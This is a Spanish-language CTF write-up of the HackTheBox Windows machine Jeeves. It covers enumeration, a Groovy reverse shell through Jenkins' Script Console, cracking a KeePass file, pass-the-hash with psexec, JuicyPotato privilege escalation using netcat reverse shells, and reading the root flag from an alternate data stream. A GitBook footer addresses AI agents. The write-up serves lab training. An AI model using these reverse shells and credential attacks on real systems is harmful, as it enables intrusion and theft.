> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md).

# Writeup de Jeeves en HackTheBox

{% embed url="<https://app.hackthebox.com/machines/114>" %}

{% hint style="warning" %}
**Habilidades:**

* Explotación de Jenkins (consola de scripts Groovy)
* Rompiendo KeePass
* Pass-the-Hash (Psexec)
* RottenPotato (SeImpersonatePrivilege)
* Flujos de datos alternativos (ADS)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Estableceremos nuestro espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento usando Nmap

<figure><img src="/files/b87281ba45c529f17c27ccdfe5e458aff66bbbb7" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/7ed15472b3ca74fa9fdd55dbbae92337737ac16c" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.63 -oG allPorts
```

<figure><img src="/files/3920f23515d8c4e3d3c3fa1a4cd8f5e7be7acb9d" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usando la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles (80.135.445.50000)

<figure><img src="/files/5da67fb86d519d20c6f1403c90a900d0094ee4ec" alt=""><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p80,135,445,50000 10.10.10.63 -oN targeted
```

<figure><img src="/files/96d4fb8209248c8e45009b848e0a75201373f02b" alt=""><figcaption></figcaption></figure>

### Puerto 80 - HTTP

<figure><img src="/files/f3465ab92071569d33698fa472f5d962800ed7c5" alt=""><figcaption></figcaption></figure>

El puerto HTTP redirige constantemente a una `error.html` página. No se encontró otra información útil.

<figure><img src="/files/b3a14ad72c5c3501e32ec59b887f09137131d511" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9a0c79b14b0401ef3beafee2999503231e733044" alt=""><figcaption></figcaption></figure>

### Puerto 445 - SMB

Intentamos listar los recursos compartidos SMB con `smbmap` y `smbclient`:

```bash
smbmap -H 10.10.10.63 -u 'null'
smbmap -H 10.10.10.63
```

```bash
smbclient -L 10.10.10.63 -N
```

Sin embargo, la sesión falla con el siguiente error:

```
session setup failed: NT_STATUS_ACCESS_DENIED
```

Usamos `crackmapexec` para recopilar información de la máquina:

```bash
crackmapexec smb 10.10.10.63
```

Resultado:

* **SO** : Windows 10 Pro 10586 x64
* **Nombre de la máquina**: JEEVES
* **Dominio**: Jeeves

<figure><img src="/files/126bbce9ad46fd9bcadfc7313e819764825a1571" alt=""><figcaption></figcaption></figure>

### **Puerto 50000 - Jenkins**

<figure><img src="/files/0e2ef3f89664465e25e0a2c3c2b8c5b81658658e" alt=""><figcaption></figcaption></figure>

Lanzamos un escaneo de directorios con `gobuster` para explorar el contenido del servicio HTTP:

```bash
gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
```

Descubrimos el directorio **/askjeeves**

<figure><img src="/files/25f0a821d352b579d2b2a05ee1ec824e8c20f7d3" alt=""><figcaption></figcaption></figure>

### CMS - Jenkins

<figure><img src="/files/74d9f633d430f7de15fe1a033a2b9b5edcb1a29b" alt=""><figcaption></figcaption></figure>

**Jenkins - ejecución de scripts Groovy**

El CMS Jenkins es accesible y la **Script Console** opción está habilitada, lo que nos permite ejecutar scripts Groovy.

<figure><img src="/files/2b1b9daa281eaef1207a0cf8695b01d71fdef693" alt=""><figcaption></figcaption></figure>

Ejemplo de comando para probar la ejecución:

```groovy
println "ipconfig".execute().text
```

<figure><img src="/files/d677f026efee0952385c5ce1a53ded4e37372bdb" alt=""><figcaption></figcaption></figure>

### **Explotación**

#### **Shell inversa mediante la consola de scripts Groovy**

Para obtener acceso remoto, procedemos de la siguiente manera:

1. /*/* Escucha en nuestra máquina en el puerto 443/*/*:

```bash
rlwrap nc -nvlp 443
```

2. /*/* Ejecuta el siguiente script en la consola Groovy/*/* para establecer una shell inversa:

{% code overflow="wrap" %}

```groovy
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

{% endcode %}

<figure><img src="/files/acf7be8fef32a56ceb102ed74add181793698330" alt=""><figcaption></figcaption></figure>

### Bandera user.txt :)

<figure><img src="/files/70bf88129c828dc987e194460b69404f3ed94ea8" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

## **Método 1: crackeo del archivo KeePass**

En el **Documentos** directorio del usuario **Kosure**, encontramos un archivo con la **.kdbx** extensión (archivo KeePass).

<figure><img src="/files/ef1f711395d5078c03a65f1db6359928977cb02a" alt=""><figcaption></figcaption></figure>

/*/* Transferencia del archivo KeePass a nuestra máquina anfitriona/*/*/ Creamos un servidor SMB desde nuestra máquina Linux para transferir el archivo. Para ello usamos `smbserver.py`:

```bash
smbserver.py share $(pwd) -smb2support
```

**Transferencia desde Windows**/ Desde la máquina Windows, copiamos el **CEH.kdbx** archivo a nuestra máquina anfitriona:

```powershell
copy C:/Users/kohsuke/Documents/CEH.kdbx //10.10.14.9/share/
```

<figure><img src="/files/2928f94bb69dcfaaa6c8cdcbb4f004f61d950e2b" alt=""><figcaption></figcaption></figure>

### **Extracción del hash del archivo KDBX**

Para extraer el hash del **KDBX** archivo, usamos la **keepass2john** herramienta, que forma parte de **John the Ripper**:

```bash
keepass2john CEH.kdbx
```

<figure><img src="/files/5ad72fe7195ba55874697e702186bdbb77abac48" alt=""><figcaption></figcaption></figure>

### **Crackeo del hash**

Usamos **John the Ripper** para realizar un ataque de fuerza bruta sobre el hash extraído, con la **lista de contraseñas rockyou.txt**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

La contraseña descubierta es:

* `moonshine1`

<figure><img src="/files/cc21131f3f2f601d688c0f9d20bf3f390ac4d4e9" alt=""><figcaption></figcaption></figure>

### **Visualización del contenido de KeePass**

Usamos **KeePassXC** para abrir y ver el contenido de **KeePass**

<figure><img src="/files/abf55bcc8137a1d314ff8abe887e610229510967" alt=""><figcaption></figcaption></figure>

Después de introducir la **moonshine1** contraseña, accedemos a varias contraseñas, incluido un hash NTLM v2 para el usuario **Administrator**:

<figure><img src="/files/abf55bcc8137a1d314ff8abe887e610229510967" alt=""><figcaption></figcaption></figure>

```bash
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
```

#### /*/* Auditoría del hash NTLM v2 con CrackMapExec/*/*

Comprobamos si el hash corresponde a una cuenta **Administrator** por **CrackMapExec**:

```bash
crackmapexec smb 10.10.10.63 -u 'Administrator' -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00'
```

El hash es válido, y ahora podemos llevar a cabo un ataque **Pass-the-Hash**.

<div data-full-width="true"><figure><img src="/files/ded9051a87c1b3707d43b29ba0688a1b8b9f80ac" alt=""><figcaption></figcaption></figure></div>

### **Pass-the-Hash - PsExec**

Usamos **PsExec** para conectarnos a la máquina objetivo usando el NTLM v2 descubierto. Esto nos otorga privilegios administrativos

```bash
psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
```

Ahora tenemos acceso completo como administrador.

<figure><img src="/files/c2f62239ba5d4da1b19e0cf26a82ab1d08f0e721" alt=""><figcaption></figcaption></figure>

## **Método 2: explotación del privilegio SeImpersonatePrivilege**

Hemos descubierto que el usuario tiene el `SeImpersonatePrivilege` privilegio, lo que lo hace vulnerable a ciertas técnicas de elevación de privilegios. El siguiente comando confirma la presencia de este privilegio:

```bash
whoami /priv
```

<figure><img src="/files/f8ec86784d8447df4e0365cd3bb13729cc75723e" alt=""><figcaption></figcaption></figure>

Para explotar esta vulnerabilidad, usaremos **JuicyPotato**, una herramienta muy conocida para abusar de este privilegio en el contexto de Windows.

**Descargar las herramientas requeridas**

{% embed url="<https://github.com/ohpe/juicy-potato/releases/tag/v0.1>" %}

{% embed url="<https://eternallybored.org/misc/netcat/>" %}

**Iniciar un servidor SmbFolder** en nuestra máquina atacante para servir los archivos:

```bash
smbserver.py share $(pwd) -smb2support
```

**Transferir archivos a la máquina objetivo** usando `Invoke-WebRequest`:

<pre class="language-powershell"><code class="lang-powershell"><strong>copy //10.10.14.9/share/JP.exe
</strong>copy //10.10.14.9/share/nc64.exe
</code></pre>

<figure><img src="/files/73d2fdd83b3201453558c638714e652d203756fb" alt=""><figcaption></figcaption></figure>

**Ejecución de JuicyPotato para la elevación de privilegios**

Ahora ejecutaremos JuicyPotato para obtener una sesión privilegiada. El siguiente comando lanza JuicyPotato, que ejecuta `cmd.exe` con altos privilegios e inicia una conexión a nuestra máquina atacante mediante Netcat:

```powershell
./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc64.exe -e cmd 10.10.14.9 1234"
```

**Iniciar sesión en la sesión elevada**

Para interceptar la conexión, escuchamos en el puerto 1234:

```bash
rlwrap nc -nvlp 1234
```

<figure><img src="/files/803fbf1a9a5271ce91f8e85a4e5419a7fbb1f83c" alt=""><figcaption></figcaption></figure>

## Bandera root - ADS

> Los flujos de datos alternativos (ADS) son una característica de **NTFS** los sistemas de archivos en Windows que permite asociar múltiples flujos de datos con un solo archivo. Estos flujos adicionales pueden contener información oculta que no es visible durante la inspección tradicional del archivo. Usaremos esta característica para descubrir la **bandera root**.

<figure><img src="/files/3d450383641413b5dd7cb59de08aa0f468925c12" alt=""><figcaption></figcaption></figure>

#### **1. Comprobación de Alternate Data Streams (ADS)**

Comenzamos comprobando si el **hm.txt** archivo ubicado en el escritorio del usuario **Administrator** contiene flujos de datos alternativos. Para ello, usamos el siguiente comando:

```bash
dir /r C:/Users/Administrator/Desktop/hm.txt
```

Este comando enumera todos los flujos de datos alternativos asociados con **hm.txt** archivo. Si hay un flujo de datos alternativo presente, se mostrará.

<figure><img src="/files/586eb01094d1495dcc8295347f1a80d615d45d1c" alt=""><figcaption></figcaption></figure>

#### **2. Visualización del contenido de un flujo de datos alternativo**

Si encontramos un flujo de datos alternativo asociado con el archivo, podemos mostrar su contenido con el siguiente comando:

```powershell
more < C:/Users/Administrator/Desktop/hm.txt:root.txt
```

Esto nos permite leer el contenido del **root.txt** flujo y recuperar la **bandera root :)**

<figure><img src="/files/ad5380ca1539aafd0b0dc46d5fecdc4b2765f322" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a030300aa6d1a5bc6dad6ed7773a09c316eabec8" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
